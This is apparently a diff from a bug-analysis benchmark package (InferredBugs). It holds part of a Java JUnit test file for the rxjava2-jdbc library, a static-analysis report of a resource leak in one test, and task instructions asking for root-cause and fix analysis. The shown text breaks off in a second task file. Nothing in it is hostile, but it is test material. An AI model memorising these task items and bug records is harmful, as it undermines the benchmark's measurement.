+                .getAs(Integer.class)//
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(100) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectDependsOnOnSingle() {
+        Database db = db();
+        Single<Long> a = db.update("update person set score=100 where name=?") //
+                .parameter("FRED") //
+                .counts().count();
+        db.select("select score from person where name=?") //
+                .parameter("FRED") //
+                .dependsOn(a) //
+                .getAs(Integer.class)//
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(100) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectDependsOnCompletable() {
+        Database db = db();
+        Completable a = db.update("update person set score=100 where name=?") //
+                .parameter("FRED") //
+                .counts().ignoreElements();
+        db.select("select score from person where name=?") //
+                .parameter("FRED") //
+                .dependsOn(a) //
+                .getAs(Integer.class)//
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(100) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateWithinTransactionBatchSize0() {
+        db() //
+                .select("select name from person") //
+                .transactedValuesOnly() //
+                .getAs(String.class) //
+                .doOnNext(System.out::println) //
+                .flatMap(tx -> tx//
+                        .update("update person set score=-1 where name=:name") //
+                        .batchSize(0) //
+                        .parameter("name", tx.value()) //
+                        .valuesOnly() //
+                        .counts()) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(1, 1, 1) //
+                .assertComplete();
+    }
+
+    private static void info() {
+        LogManager.getRootLogger().setLevel(Level.INFO);
+    }
+
+    private static void debug() {
+        LogManager.getRootLogger().setLevel(Level.INFO);
+    }
+
+    @Test
+    public void testCreateBig() {
+        info();
+        big(5).select("select count(*) from person") //
+                .getAs(Integer.class) //
+                .test().awaitDone(20, TimeUnit.SECONDS) //
+                .assertValue(5163) //
+                .assertComplete();
+        debug();
+    }
+
+    @Test
+    public void testTxWithBig() {
+        info();
+        big(1) //
+                .select("select name from person") //
+                .transactedValuesOnly() //
+                .getAs(String.class) //
+                .flatMap(tx -> tx//
+                        .update("update person set score=-1 where name=:name") //
+                        .batchSize(1) //
+                        .parameter("name", tx.value()) //
+                        .valuesOnly() //
+                        .counts()) //
+                .count() //
+                .test().awaitDone(20, TimeUnit.SECONDS) //
+                .assertValue((long) NAMES_COUNT_BIG) //
+                .assertComplete();
+        debug();
+    }
+
+    @Test
+    public void testTxWithBigInputBatchSize2000() {
+        info();
+        big(1) //
+                .select("select name from person") //
+                .transactedValuesOnly() //
+                .getAs(String.class) //
+                .flatMap(tx -> tx//
+                        .update("update person set score=-1 where name=:name") //
+                        .batchSize(2000) //
+                        .parameter("name", tx.value()) //
+                        .valuesOnly() //
+                        .counts()) //
+                .count() //
+                .test().awaitDone(20, TimeUnit.SECONDS) //
+                .assertValue((long) NAMES_COUNT_BIG) //
+                .assertComplete();
+        debug();
+    }
+
+    @Test
+    public void testInsertNullClobAndReadClobAsString() {
+        Database db = db();
+        insertNullClob(db);
+        db.select("select document from person_clob where name='FRED'") //
+                .getAsOptional(String.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(Optional.<String>empty()) //
+                .assertComplete();
+    }
+
+    private static void insertNullClob(Database db) {
+        db.update("insert into person_clob(name,document) values(?,?)") //
+                .parameters("FRED", Database.NULL_CLOB) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testClobMethod() {
+        assertEquals(Database.NULL_CLOB, Database.clob(null));
+    }
+
+    @Test
+    public void testBlobMethod() {
+        assertEquals(Database.NULL_BLOB, Database.blob(null));
+    }
+
+    @Test
+    public void testClobMethodPresent() {
+        assertEquals("a", Database.clob("a"));
+    }
+
+    @Test
+    public void testBlobMethodPresent() {
+        byte[] b = new byte[1];
+        assertEquals(b, Database.blob(b));
+    }
+
+    @Test
+    public void testDateOfBirthNullableForReadMe() {
+        Database.test() //
+                .select("select date_of_birth from person where name='FRED'") //
+                .getAsOptional(Instant.class) //
+                .blockingForEach(System.out::println);
+    }
+
+    @Test
+    public void testInsertNullClobAndReadClobAsTuple2() {
+        Database db = db();
+        insertNullClob(db);
+        db.select("select document, document from person_clob where name='FRED'") //
+                .getAs(String.class, String.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(Tuple2.create(null, null)) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testInsertClobAndReadClobAsString() {
+        Database db = db();
+        db.update("insert into person_clob(name,document) values(?,?)") //
+                .parameters("FRED", "some text here") //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+        db.select("select document from person_clob where name='FRED'") //
+                .getAs(String.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) // .assertValue("some
+                                                                     // text
+                                                                     // here")
+                                                                     // //
+                .assertComplete();
+    }
+
+    @Test
+    public void testInsertClobAndReadClobUsingReader() {
+        Database db = db();
+        db.update("insert into person_clob(name,document) values(?,?)") //
+                .parameters("FRED", "some text here") //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+        db.select("select document from person_clob where name='FRED'") //
+                .getAs(Reader.class) //
+                .map(r -> read(r)).test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue("some text here") //
+                .assertComplete();
+    }
+
+    @Test
+    public void testInsertBlobAndReadBlobAsByteArray() {
+        Database db = db();
+        insertPersonBlob(db);
+        db.select("select document from person_blob where name='FRED'") //
+                .getAs(byte[].class) //
+                .map(b -> new String(b)) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue("some text here") //
+                .assertComplete();
+    }
+
+    private static void insertPersonBlob(Database db) {
+        byte[] bytes = "some text here".getBytes();
+        db.update("insert into person_blob(name,document) values(?,?)") //
+                .parameters("FRED", bytes) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testInsertBlobAndReadBlobAsInputStream() {
+        Database db = db();
+        byte[] bytes = "some text here".getBytes();
+        db.update("insert into person_blob(name,document) values(?,?)") //
+                .parameters("FRED", new ByteArrayInputStream(bytes)) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+        db.select("select document from person_blob where name='FRED'") //
+                .getAs(InputStream.class) //
+                .map(is -> read(is)) //
+                .map(b -> new String(b)) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue("some text here") //
+                .assertComplete();
+    }
+
+    private static String read(Reader reader) throws IOException {
+        StringBuffer s = new StringBuffer();
+        char[] ch = new char[128];
+        int n = 0;
+        while ((n = reader.read(ch)) != -1) {
+            s.append(ch, 0, n);
+        }
+        reader.close();
+        return s.toString();
+    }
+
+    private static byte[] read(InputStream is) throws IOException {
+        ByteArrayOutputStream bytes = new ByteArrayOutputStream();
+        byte[] b = new byte[128];
+        int n = 0;
+        while ((n = is.read(b)) != -1) {
+            bytes.write(b, 0, n);
+        }
+        is.close();
+        return bytes.toByteArray();
+    }
+
+    private void testHealthCheck(Predicate<Connection> healthy) throws InterruptedException {
+        TestScheduler scheduler = new TestScheduler();
+
+        NonBlockingConnectionPool pool = Pools //
+                .nonBlocking() //
+                .connectionProvider(DatabaseCreator.connectionProvider()) //
+                .maxIdleTime(10, TimeUnit.MINUTES) //
+                .idleTimeBeforeHealthCheck(0, TimeUnit.MINUTES) //
+                .healthy(healthy) //
+                .returnToPoolDelayAfterHealthCheckFailure(1, TimeUnit.MINUTES) //
+                .scheduler(scheduler) //
+                .maxPoolSize(1) //
+                .build();
+
+        try (Database db = Database.from(pool)) {
+            TestSubscriber<Integer> ts0 = db.select( //
+                    "select score from person where name=?") //
+                    .parameter("FRED") //
+                    .getAs(Integer.class) //
+                    .test();
+            ts0.assertValueCount(0) //
+                    .assertNotComplete();
+            scheduler.advanceTimeBy(1, TimeUnit.MINUTES);
+            ts0.assertValueCount(1) //
+                    .assertComplete();
+            TestSubscriber<Integer> ts = db.select( //
+                    "select score from person where name=?") //
+                    .parameter("FRED") //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .assertValueCount(0);
+            log.debug("done2");
+            scheduler.advanceTimeBy(1, TimeUnit.MINUTES);
+            Thread.sleep(200);
+            ts.assertValueCount(1);
+            Thread.sleep(200);
+            ts.assertValue(21) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testShutdownBeforeUse() {
+        NonBlockingConnectionPool pool = Pools //
+                .nonBlocking() //
+                .connectionProvider(DatabaseCreator.connectionProvider()) //
+                .scheduler(Schedulers.io()) //
+                .maxPoolSize(1) //
+                .build();
+        pool.close();
+        Database.from(pool) //
+                .select("select score from person where name=?") //
+                .parameter("FRED") //
+                .getAs(Integer.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoValues() //
+                .assertError(PoolClosedException.class);
+    }
+
+    @Test
+    public void testFewerColumnsMappedThanAvailable() {
+        db().select("select name, score from person where name='FRED'") //
+                .getAs(String.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues("FRED") //
+                .assertComplete();
+    }
+
+    @Test
+    public void testMoreColumnsMappedThanAvailable() {
+        db() //
+                .select("select name, score from person where name='FRED'") //
+                .getAs(String.class, Integer.class, String.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoValues() //
+                .assertError(MoreColumnsRequestedThanExistException.class);
+    }
+
+    @Test
+    public void testSelectTimestamp() {
+        db() //
+                .select("select registered from person where name='FRED'") //
+                .getAs(Long.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(FRED_REGISTERED_TIME) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectTimestampAsDate() {
+        db() //
+                .select("select registered from person where name='FRED'") //
+                .getAs(Date.class) //
+                .map(d -> d.getTime()) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(FRED_REGISTERED_TIME) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectTimestampAsInstant() {
+        db() //
+                .select("select registered from person where name='FRED'") //
+                .getAs(Instant.class) //
+                .map(d -> d.toEpochMilli()) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(FRED_REGISTERED_TIME) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateCalendarParameter() {
+        Calendar c = GregorianCalendar.from(ZonedDateTime.parse("2017-03-25T15:37Z"));
+        Database db = db();
+        db.update("update person set registered=?") //
+                .parameter(c) //
+                .counts() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(3) //
+                .assertComplete();
+        db.select("select registered from person") //
+                .getAs(Long.class) //
+                .firstOrError() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(c.getTimeInMillis()) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateTimeParameter() {
+        Database db = db();
+        Time t = new Time(1234);
+        db.update("update person set registered=?") //
+                .parameter(t) //
+                .counts() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(3) //
+                .assertComplete();
+        db.select("select registered from person") //
+                .getAs(Long.class) //
+                .firstOrError() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1234L) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateTimestampParameter() {
+        Database db = db();
+        Timestamp t = new Timestamp(1234);
+        db.update("update person set registered=?") //
+                .parameter(t) //
+                .counts() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(3) //
+                .assertComplete();
+        db.select("select registered from person") //
+                .getAs(Long.class) //
+                .firstOrError() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1234L) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateSqlDateParameter() {
+        Database db = db();
+        java.sql.Date t = new java.sql.Date(1234);
+
+        db.update("update person set registered=?") //
+                .parameter(t) //
+                .counts() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(3) //
+                .assertComplete();
+        db.select("select registered from person") //
+                .getAs(Long.class) //
+                .firstOrError() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS * 10000, TimeUnit.SECONDS) //
+                // TODO make a more accurate comparison using the current TZ
+                .assertValue(x -> Math.abs(x - 1234) <= TimeUnit.HOURS.toMillis(24)) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateUtilDateParameter() {
+        Database db = db();
+        Date d = new Date(1234);
+        db.update("update person set registered=?") //
+                .parameter(d) //
+                .counts() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(3) //
+                .assertComplete();
+        db.select("select registered from person") //
+                .getAs(Long.class) //
+                .firstOrError() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1234L) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateTimestampAsInstant() {
+        Database db = db();
+        db.update("update person set registered=? where name='FRED'") //
+                .parameter(Instant.ofEpochMilli(FRED_REGISTERED_TIME)) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+        db.select("select registered from person where name='FRED'") //
+                .getAs(Long.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(FRED_REGISTERED_TIME) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateTimestampAsZonedDateTime() {
+        Database db = db();
+        db.update("update person set registered=? where name='FRED'") //
+                .parameter(ZonedDateTime.ofInstant(Instant.ofEpochMilli(FRED_REGISTERED_TIME),
+                        ZoneOffset.UTC.normalized())) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+        db.select("select registered from person where name='FRED'") //
+                .getAs(Long.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(FRED_REGISTERED_TIME) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testCompleteCompletes() {
+        Database db = db(1);
+        db //
+                .update("update person set score=-3 where name='FRED'") //
+                .complete() //
+                .timeout(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .blockingAwait();
+
+        int score = db.select("select score from person where name='FRED'") //
+                .getAs(Integer.class) //
+                .timeout(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .blockingFirst();
+        assertEquals(-3, score);
+    }
+
+    @Test
+    public void testComplete() throws InterruptedException {
+        Database db = db(1);
+        Completable a = db //
+                .update("update person set score=-3 where name='FRED'") //
+                .complete();
+        db.update("update person set score=-4 where score = -3") //
+                .dependsOn(a) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testCountsOnlyInTransaction() {
+        db().update("update person set score = -3") //
+                .transacted() //
+                .countsOnly() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(3) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testCountsInTransaction() {
+        db().update("update person set score = -3") //
+                .transacted() //
+                .counts() //
+                .doOnNext(System.out::println) //
+                .toList() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(list -> list.get(0).isValue() && list.get(0).value() == 3
+                        && list.get(1).isComplete() && list.size() == 2) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testTx() throws InterruptedException {
+        Database db = db(3);
+        Single<Tx<?>> transaction = db //
+                .update("update person set score=-3 where name='FRED'") //
+                .transaction();
+
+        transaction //
+                .doOnDispose(() -> log.debug("disposing")) //
+                .doOnSuccess(System.out::println) //
+                .flatMapPublisher(tx -> {
+                    log.debug("flatmapping");
+                    return tx //
+                            .update("update person set score = -4 where score = -3") //
+                            .countsOnly() //
+                            .doOnSubscribe(s -> log.debug("subscribed")) //
+                            .doOnNext(num -> log.debug("num=" + num));
+                }) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoErrors() //
+                .assertValue(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testTxAfterSelect() {
+        Database db = db(3);
+        Single<Tx<Integer>> transaction = db //
+                .select("select score from person where name='FRED'") //
+                .transactedValuesOnly() //
+                .getAs(Integer.class) //
+                .firstOrError();
+
+        transaction //
+                .doOnDispose(() -> log.debug("disposing")) //
+                .doOnSuccess(System.out::println) //
+                .flatMapPublisher(tx -> {
+                    log.debug("flatmapping");
+                    return tx //
+                            .update("update person set score = -4 where score = ?") //
+                            .parameter(tx.value()) //
+                            .countsOnly() //
+                            .doOnSubscribe(s -> log.debug("subscribed")) //
+                            .doOnNext(num -> log.debug("num=" + num));
+                }) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoErrors() //
+                .assertValue(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSingleFlatMap() {
+        Single.just(1).flatMapPublisher(n -> Flowable.just(1)).test(1).assertValue(1)
+                .assertComplete();
+    }
+
+    @Test
+    public void testAutomappedInstanceHasMeaningfulToStringMethod() {
+        info();
+        String s = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameterStream(Flowable.just("FRED")) //
+                .autoMap(Person2.class) //
+                .map(x -> x.toString()) //
+                .blockingSingle();
+        assertEquals("Person2[name=FRED, score=21]", s);
+    }
+
+    @Test
+    public void testAutomappedEquals() {
+        boolean b = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameterStream(Flowable.just("FRED")) //
+                .autoMap(Person2.class) //
+                .map(x -> x.equals(x)) //
+                .blockingSingle();
+        assertTrue(b);
+    }
+
+    @Test
+    public void testAutomappedDoesNotEqualNull() {
+        boolean b = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameterStream(Flowable.just("FRED")) //
+                .autoMap(Person2.class) //
+                .map(x -> x.equals(null)) //
+                .blockingSingle();
+        assertFalse(b);
+    }
+
+    @Test
+    public void testAutomappedDoesNotEqual() {
+        boolean b = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameterStream(Flowable.just("FRED")) //
+                .autoMap(Person2.class) //
+                .map(x -> x.equals(new Object())) //
+                .blockingSingle();
+        assertFalse(b);
+    }
+
+    @Test
+    public void testAutomappedHashCode() {
+        Person2 p = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameterStream(Flowable.just("FRED")) //
+                .autoMap(Person2.class) //
+                .blockingSingle();
+        assertTrue(p.hashCode() != 0);
+    }
+
+    @Test
+    public void testAutomappedWithParametersThatProvokesMoreThanOneQuery() {
+        Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameters("FRED", "FRED") //
+                .autoMap(Person2.class) //
+                .doOnNext(System.out::println) //
+                .test() //
+                .awaitDone(2000, TimeUnit.SECONDS) //
+                .assertNoErrors() //
+                .assertValueCount(2) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testAutomappedObjectsEqualsAndHashCodeIsDistinctOnValues() {
+        Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameters("FRED", "FRED") //
+                .autoMap(Person2.class) //
+                .distinct() //
+                .doOnNext(System.out::println) //
+                .test() //
+                .awaitDone(2000, TimeUnit.SECONDS) //
+                .assertNoErrors() //
+                .assertValueCount(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testAutomappedObjectsEqualsDifferentiatesDifferentInterfacesWithSameMethodNamesAndValues() {
+        PersonDistinct1 p1 = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameters("FRED") //
+                .autoMap(PersonDistinct1.class) //
+                .blockingFirst();
+
+        PersonDistinct2 p2 = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameters("FRED") //
+                .autoMap(PersonDistinct2.class) //
+                .blockingFirst();
+
+        assertNotEquals(p1, p2);
+    }
+
+    @Test
+    public void testAutomappedObjectsWhenDefaultMethodInvoked() {
+        PersonWithDefaultMethod p = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameters("FRED") //
+                .autoMap(PersonWithDefaultMethod.class) //
+                .blockingFirst();
+        assertEquals("fred", p.nameLower());
+    }
+
+    // @Test
+    // public void testDefaultMethod() throws NoSuchMethodException,
+    // IllegalAccessException {
+    // MethodHandles.lookup().findSpecial(PersonWithDefaultMethod.class,
+    // "nameLower",
+    // MethodType.methodType(String.class, new Class[] {}),
+    // PersonWithDefaultMethod.class)
+    //// .bindTo(x);
+    // }
+
+    @Test(expected = AutomappedInterfaceInaccessibleException.class)
+    public void testAutomappedObjectsWhenDefaultMethodInvokedAndIsNonPublicThrows() {
+        PersonWithDefaultMethodNonPublic p = Database.test() //
+                .select("select name, score from person where name=?") //
+                .parameters("FRED") //
+                .autoMap(PersonWithDefaultMethodNonPublic.class) //
+                .blockingFirst();
+        p.nameLower();
+    }
+
+    @Test
+    public void testBlockingDatabase() {
+        Database db = blocking();
+        db.select("select score from person where name=?") //
+                .parameters("FRED", "JOSEPH") //
+                .getAs(Integer.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoErrors() //
+                .assertValues(21, 34) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testBlockingDatabaseTransacted() {
+        Database db = blocking();
+        db.select("select score from person where name=?") //
+                .parameters("FRED", "JOSEPH") //
+                .transactedValuesOnly() //
+                .getAs(Integer.class) //
+                .map(x -> x.value()) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoErrors() //
+                .assertValues(21, 34) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testBlockingDatabaseTransactedNested() {
+        Database db = blocking();
+        db.select("select score from person where name=?") //
+                .parameters("FRED", "JOSEPH") //
+                .transactedValuesOnly() //
+                .getAs(Integer.class) //
+                .flatMap(tx -> tx.select("select name from person where score=?") //
+                        .parameter(tx.value()) //
+                        .valuesOnly() //
+                        .getAs(String.class))
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoErrors() //
+                .assertValues("FRED", "JOSEPH") //
+                .assertComplete();
+    }
+
+    public interface PersonWithDefaultMethod {
+        @Column
+        String name();
+
+        @Column
+        int score();
+
+        public default String nameLower() {
+            return name().toLowerCase();
+        }
+    }
+
+    interface PersonWithDefaultMethodNonPublic {
+        @Column
+        String name();
+
+        @Column
+        int score();
+
+        default String nameLower() {
+            return name().toLowerCase();
+        }
+    }
+
+    interface PersonDistinct1 {
+        @Column
+        String name();
+
+        @Column
+        int score();
+
+    }
+
+    interface PersonDistinct2 {
+        @Column
+        String name();
+
+        @Column
+        int score();
+
+    }
+
+    interface Score {
+        @Column
+        int score();
+    }
+
+    interface Person {
+        @Column
+        String name();
+    }
+
+    interface Person2 {
+        @Column
+        String name();
+
+        @Column
+        int score();
+    }
+
+    interface Person3 {
+        @Column("name")
+        String fullName();
+
+        @Column("score")
+        int examScore();
+    }
+
+    interface Person4 {
+        @Column("namez")
+        String fullName();
+
+        @Column("score")
+        int examScore();
+    }
+
+    interface Person5 {
+        @Index(1)
+        String fullName();
+
+        @Index(2)
+        int examScore();
+    }
+
+    interface Person6 {
+        @Index(1)
+        String fullName();
+
+        @Index(3)
+        int examScore();
+    }
+
+    interface Person7 {
+        @Index(1)
+        String fullName();
+
+        @Index(0)
+        int examScore();
+    }
+
+    interface Person8 {
+        @Column
+        int name();
+    }
+
+    interface Person9 {
+        @Column
+        String name();
+
+        @Index(2)
+        int score();
+    }
+
+    interface PersonNoAnnotation {
+        String name();
+    }
+
+    @Query("select name, score from person order by name")
+    interface Person10 {
+
+        @Column
+        String name();
+
+        @Column
+        int score();
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.davidmoten.rx.jdbc.Database` acquired by call to `db()` at line 1141 is not released after line 1143.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void DatabaseTest.testTuple6()
+
+### Procedure Id:
+org.davidmoten.rx.jdbc.DatabaseTest.testTuple6():void.1b9444a57bd90fb100685a2931230b97
+
+### File:
+src/test/java/org/davidmoten/rx/jdbc/DatabaseTest.java
+
+### Key:
+DatabaseTest.java|testTuple6|RESOURCE_LEAK
+
+### Node Key:
+42f56fda1ad408e362508b93a175bb0c
+
+### Hash:
+8b80467b7c34768406207425dc143879
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10880/instruction.md b/inferredbugs-10880/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c6514edf27a3524942b1433dbdc31eaf42b6321d
--- /dev/null
+++ b/inferredbugs-10880/instruction.md
@@ -0,0 +1,2367 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** rxjava2-jdbc
+**Bug ID:** 33
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.davidmoten.rx.jdbc;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertTrue;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.FileReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.Reader;
+import java.sql.Blob;
+import java.sql.Clob;
+import java.sql.Connection;
+import java.sql.SQLException;
+import java.sql.SQLSyntaxErrorException;
+import java.sql.Time;
+import java.sql.Timestamp;
+import java.time.Instant;
+import java.time.ZoneOffset;
+import java.time.ZonedDateTime;
+import java.util.Arrays;
+import java.util.Calendar;
+import java.util.Date;
+import java.util.GregorianCalendar;
+import java.util.List;
+import java.util.Optional;
+import java.util.concurrent.CopyOnWriteArrayList;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import org.apache.log4j.Level;
+import org.apache.log4j.LogManager;
+import org.davidmoten.rx.jdbc.annotations.Column;
+import org.davidmoten.rx.jdbc.annotations.Index;
+import org.davidmoten.rx.jdbc.annotations.Query;
+import org.davidmoten.rx.jdbc.exceptions.AnnotationsNotFoundException;
+import org.davidmoten.rx.jdbc.exceptions.AutomappedInterfaceInaccessibleException;
+import org.davidmoten.rx.jdbc.exceptions.ColumnIndexOutOfRangeException;
+import org.davidmoten.rx.jdbc.exceptions.ColumnNotFoundException;
+import org.davidmoten.rx.jdbc.exceptions.MoreColumnsRequestedThanExistException;
+import org.davidmoten.rx.jdbc.exceptions.NamedParameterFoundButSqlDoesNotHaveNamesException;
+import org.davidmoten.rx.jdbc.exceptions.NamedParameterMissingException;
+import org.davidmoten.rx.jdbc.exceptions.QueryAnnotationMissingException;
+import org.davidmoten.rx.jdbc.pool.DatabaseCreator;
+import org.davidmoten.rx.jdbc.pool.NonBlockingConnectionPool;
+import org.davidmoten.rx.jdbc.pool.Pools;
+import org.davidmoten.rx.jdbc.tuple.Tuple2;
+import org.davidmoten.rx.jdbc.tuple.Tuple3;
+import org.davidmoten.rx.jdbc.tuple.Tuple4;
+import org.davidmoten.rx.jdbc.tuple.Tuple5;
+import org.davidmoten.rx.jdbc.tuple.Tuple6;
+import org.davidmoten.rx.jdbc.tuple.Tuple7;
+import org.davidmoten.rx.jdbc.tuple.TupleN;
+import org.davidmoten.rx.pool.PoolClosedException;
+import org.h2.jdbc.JdbcSQLException;
+import org.hsqldb.jdbc.JDBCBlobFile;
+import org.hsqldb.jdbc.JDBCClobFile;
+import org.junit.Assert;
+import org.junit.FixMethodOrder;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runners.MethodSorters;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import com.github.davidmoten.guavamini.Lists;
+
+import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
+import io.reactivex.Completable;
+import io.reactivex.Flowable;
+import io.reactivex.Observable;
+import io.reactivex.Scheduler;
